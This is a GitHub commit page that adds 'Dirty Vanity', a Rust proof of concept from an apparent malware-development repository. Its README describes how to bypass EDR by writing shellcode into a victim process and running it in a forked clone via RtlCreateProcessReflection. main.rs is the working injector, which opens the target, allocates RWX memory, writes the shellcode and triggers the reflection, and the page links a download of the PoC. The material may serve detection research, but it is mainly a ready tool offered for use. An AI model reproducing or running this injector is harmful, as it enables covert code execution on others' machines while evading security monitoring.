Skip to content

Commit 4c23c89

Browse files
committed
Dirty Vanity
Bypass EDR's by splitting the execution phase into a separate forked process
1 parent f0d3d05 commit 4c23c89

File tree

5 files changed

+535
-0
lines changed

5 files changed

+535
-0
lines changed

Dirty_Vanity/Cargo.toml

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
[package]
2+
name = "Dirty_Vanity"
3+
version = "0.1.0"
4+
edition = "2024"
5+
6+
[dependencies]
7+
windows = { version = "0.61.1", features = [
8+
"Win32_Foundation",
9+
"Win32_System_Memory",
10+
"Win32_System_SystemServices",
11+
"Win32_System_LibraryLoader",
12+
"Win32_System_SystemInformation",
13+
"Win32_System_Memory",
14+
"Win32_System_Diagnostics_Debug",
15+
"Win32_System_Threading",
16+
] }

Dirty_Vanity/README.md

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
## Dirty Vanity
2+
3+
Dirty Vanity is a sophisticated code injection technique that exploits the Windows operating system's forking mechanism, specifically through process reflection and snapshotting, to evade Endpoint Detection and Response (EDR) systems. Unlike traditional code injection methods that follow a predictable "Allocate, Write, Execute" pattern, Dirty Vanity introduces a "Fork" primitive that disrupts EDR detection by separating the write and execution phases across different processes. This technique leverages the Windows fork APIs, such as RtlCreateProcessReflection or NtCreateProcessEx, to create a cloned process with the injected payload, which executes without triggering typical EDR monitoring hooks.
4+
5+
![PoC](image.png)
6+
7+
## How does it work ?
8+
9+
Dirty Vanity manipulates the Windows forking mechanism to bypass EDRs by executing malicious code in a forked process that appears clean to detection systems
10+
11+
1. Traditional Injection: Involves three steps:
12+
13+
* Allocate: Reserve memory in the target process
14+
* Write: Inject shellcode into the allocated memory
15+
* Execute: Run the shellcode
16+
17+
EDR's detect injections by correlating these three operations on the same process.
18+
19+
Here, The Dirty Vanity's approach is to split the execution phase into a separate forked process, breaking the correlation EDRs rely on. The forked process inherits the shellcode but appears untouched by write operations, evading detection.
20+
21+
Click here to : [Download PoC](https://download.5mukx.site/#/home?url=https://github.com/Whitecat18/Rust-for-Malware-Development/tree/main/Dirty_Vanity)
22+
## Credits / Resources
23+
24+
* https://www.deepinstinct.com/blog/dirty-vanity-a-new-approach-to-code-injection-edr-bypass
25+
* https://github.com/deepinstinct/Dirty-Vanity
26+
27+
Written in Rust By [@5mukx](https://x.com/5mukx)

Dirty_Vanity/image.png

144 KB
Loading

Dirty_Vanity/src/main.rs

Lines changed: 117 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,117 @@
1+
use std::ptr::null_mut;
2+
3+
use windows::{
4+
core::{s, Error, Result},
5+
Win32::{
6+
Foundation::{HANDLE, STATUS_SUCCESS},
7+
System::{
8+
Diagnostics::Debug::WriteProcessMemory,
9+
LibraryLoader::{GetProcAddress, LoadLibraryA},
10+
Memory::{VirtualAllocEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE},
11+
Threading::{OpenProcess, PROCESS_CREATE_THREAD, PROCESS_DUP_HANDLE, PROCESS_VM_OPERATION, PROCESS_VM_WRITE},
12+
},
13+
},
14+
};
15+
16+
use crate::shellcode::{ClientId, RtlCreateProcessReflectionFn, RtlpProcessReflectionInformation, RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES, RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE, SHELLCODE};
17+
18+
mod shellcode;
19+
20+
21+
fn main() -> Result<()>{
22+
// pid
23+
24+
let args: Vec<String> = std::env::args().collect();
25+
26+
if args.len() != 2{
27+
println!("[+] Usage: DirtyVanity [TARGET_PID_TO_REFLECT]");
28+
return Err(windows::core::Error::from_win32());
29+
}
30+
31+
let pid: u32 = args[1].parse().map_err(|_|{
32+
println!("[-] USAGE: Invalid PID choice: {}", args[1]);
33+
Error::from_win32()
34+
})?;
35+
36+
let handle = unsafe {
37+
OpenProcess(
38+
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE,
39+
true,
40+
pid,
41+
)?
42+
};
43+
44+
println!("[+] Got a handle to PID {} successfully", pid);
45+
46+
let shell_len = SHELLCODE.len();
47+
let base_addr = unsafe{
48+
VirtualAllocEx(
49+
handle,
50+
None,
51+
SHELLCODE.len(),
52+
MEM_COMMIT | MEM_RESERVE,
53+
PAGE_EXECUTE_READWRITE,
54+
)
55+
};
56+
57+
if base_addr.is_null(){
58+
println!("[-] Unable to Allocate Space");
59+
return Err(Error::from_win32());
60+
}
61+
62+
println!("[+] Allocated space for shellcode at start address: {:p}", base_addr);
63+
64+
// write shellcode to process
65+
66+
let mut bytes_written = 0;
67+
68+
unsafe {
69+
WriteProcessMemory(
70+
handle,
71+
base_addr,
72+
SHELLCODE.as_ptr() as *const _,
73+
shell_len,
74+
Some(&mut bytes_written)
75+
)?;
76+
}
77+
78+
println!("[+] Successfully wrote shellcode to victim. About to start the Mirroring");
79+
80+
81+
let ntdll = unsafe { LoadLibraryA(s!("ntdll.dll"))? };
82+
let rtl_create_process_reflection: RtlCreateProcessReflectionFn = unsafe {
83+
let proc = GetProcAddress(ntdll, s!("RtlCreateProcessReflection")).expect("[-] Error obtaining Address of RtlCreateProcessReflection...");
84+
std::mem::transmute(proc)
85+
};
86+
87+
let mut reflection_info = RtlpProcessReflectionInformation {
88+
reflection_process_handle: HANDLE(null_mut()),
89+
reflection_thread_handle: HANDLE(null_mut()),
90+
reflection_client_id: ClientId {
91+
unique_process: HANDLE(null_mut()),
92+
unique_thread: HANDLE(null_mut()),
93+
},
94+
};
95+
96+
let status = unsafe {
97+
rtl_create_process_reflection(
98+
handle,
99+
RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES | RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE,
100+
base_addr,
101+
null_mut(),
102+
HANDLE(null_mut()),
103+
&mut reflection_info,
104+
)
105+
};
106+
107+
if status == STATUS_SUCCESS {
108+
println!(
109+
"[+] Successfully Mirrored to new PID: {}",
110+
reflection_info.reflection_client_id.unique_process.0 as u32
111+
);
112+
} else {
113+
println!("[!] Error Mirroring: ERROR {}", status.0);
114+
}
115+
116+
Ok(())
117+
}

0 commit comments

Comments
 (0)